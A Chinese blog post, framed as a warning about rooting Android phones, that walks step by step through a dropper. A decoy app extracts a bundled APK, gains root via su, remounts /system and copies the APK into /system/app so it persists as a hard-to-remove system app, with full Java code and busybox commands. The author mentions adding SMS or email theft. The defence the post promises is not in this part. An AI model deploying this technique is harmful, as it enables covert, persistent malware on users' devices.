当前位置:操作系统 > 安卓/Android >>

android手机root后的安全问题 (一)

前提:你有一部已经root的android手机,并且手机中有busybox和superuser

导读:
本文介绍一种简单的病毒以及如何“防御”。写本博客的原因是:有无数用户觉得root没有什么风险,或者风险不会降临到自己头上。这里告诉大家,其实风险就在身边!

这里讲的内容其实对于大多数开发者都不是什么新鲜的事情了,使用的技术也非常一般和普遍。
虽然大家都知道可以这样这样,但是还是随意下载软件,不加小心,就会掉入陷阱。
有些人觉得,只要我下载软件的时候检查软件所申请的权限就好了,其实没有那么简单。

我们来看看如果一个软件,获得了一次root权限,那么它可以作些什么呢?
好吧,我们先来一次“静默安装”!
原理很简单,基本上相当于把apk push到手机里面,两个选择
data/app
system/app
如果我是病毒软件,我肯定选择push到system/app
我们需要制作两个apk,一个是真正目的的(病毒,real.apk),另一个是假的壳子(fake.apk)
首先先制作real.apk,我们只是用来测试,所以这个apk没有什么实际内容(下载real.apk: /2012/0901/20120901112020892.zip
)。
real.apk里有一个receiver,用来监听开机的广播
[xml] view plaincopy
android.intent.action.BOOT_COMPLETED 
还有一个activity,没有什么实质内容,然后编译出apk,待用。

下面来制作壳子
新建一个android工程,将之前的real.apk复制到assets目录下
然后新建一个activity来测试
这个壳子的很简单,它只负责把真实的应用安装到用户手机中,我们再细分一下,首先,将文件assets/real.apk提取出来,放到自己的私有目录中,在本例子中的目录为data/data/com.example.fake/files,这一步是不需要任何权限的
[java] view plaincopy
prepareButton.setOnClickListener(new View.OnClickListener() { 
    public void onClick(View v) { 
        File dataFolder = getFilesDir(); 
                File jar = new File(dataFolder.getAbsolutePath() + "/real.apk"); 
                copyFile("real.apk", jar, mResources); 
    } 
}); 
其中copFile函数见附件(就是一个简单的io读写操作),这里只给出伪代码
[java] view plaincopy
InputStream myInput = null; 
try 
    myInput = resources.getAssets().open(filePath); 
    …… 
catch 
…… 
finally 
…… 
第一步已经完成了,下一步请求root权限,然后将real.apk恶意安装给用户。
这里需要使用到busybox,命令如下
busybox mount -o remount,rw /system
busybox cp /data/data/com.example.fake/files/real.apk /system/app/real.apk
busybox rm /data/data/com.example.fake/files/real.apk
之所以使用busybox,是因为手机里面可能没有mount、cp、rm等命令(我的手机里面就没有)
当然superuser需要同意你使用root权限
至此,你的入侵行为已经全部完成!
[java] view plaincopy
installButton.setOnClickListener(new View.OnClickListener() { 
        public void onClick(View v) { 
            String packageName = getPackageName(); 
            String[] commands = {"busybox mount -o remount,rw /system", 
                                 "busybox cp /data/data/" + packageName + "/files/real.apk /system/app/real.apk", 
                                 "busybox rm /data/data/" + packageName + "/files/real.apk"}; 
            Process process = null; 
            DataOutputStream dataOutputStream = null; 
 
            try { 
                process = Runtime.getRuntime().exec("su"); 
                dataOutputStream = new DataOutputStream(process.getOutputStream()); 
                int length = commands.length; 
                for (int i = 0; i < length; i++) { 
                    Log.e(TAG, "commands[" + i + "]:" + commands[i]); 
                    dataOutputStream.writeBytes(commands[i] + "\n"); 
                } 
                dataOutputStream.writeBytes("exit\n"); 
                dataOutputStream.flush(); 
                process.waitFor(); 
            } catch (Exception e) { 
                Log.e(TAG, "copy fail", e); 
            } finally { 
                try { 
                    if (dataOutputStream != null) { 
                        dataOutputStream.close(); 
                    } 
                    process.destroy(); 
                } catch (Exception e) { 
                } 
            } 
        }  www.zzzyk.com
    }); 

重启手机之后,real.apk就能工作了,它会接收到开机广播
如果你嵌入了更恶劣的代码,比如偷发短信,窃取邮件,那么用户也是很难察觉的
real.apk在settings中会显示在系统应用中,用户不太会怀疑,即使怀疑了,他们也不敢轻易卸载!谁让他们自己随意刷rom呢,每个rom集成的软件都不一样。

补充:移动开发 , Android ,
CopyRight © 2012 站长网 编程知识问答 www.zzzyk.com All Rights Reserved
部份技术文章来自网络,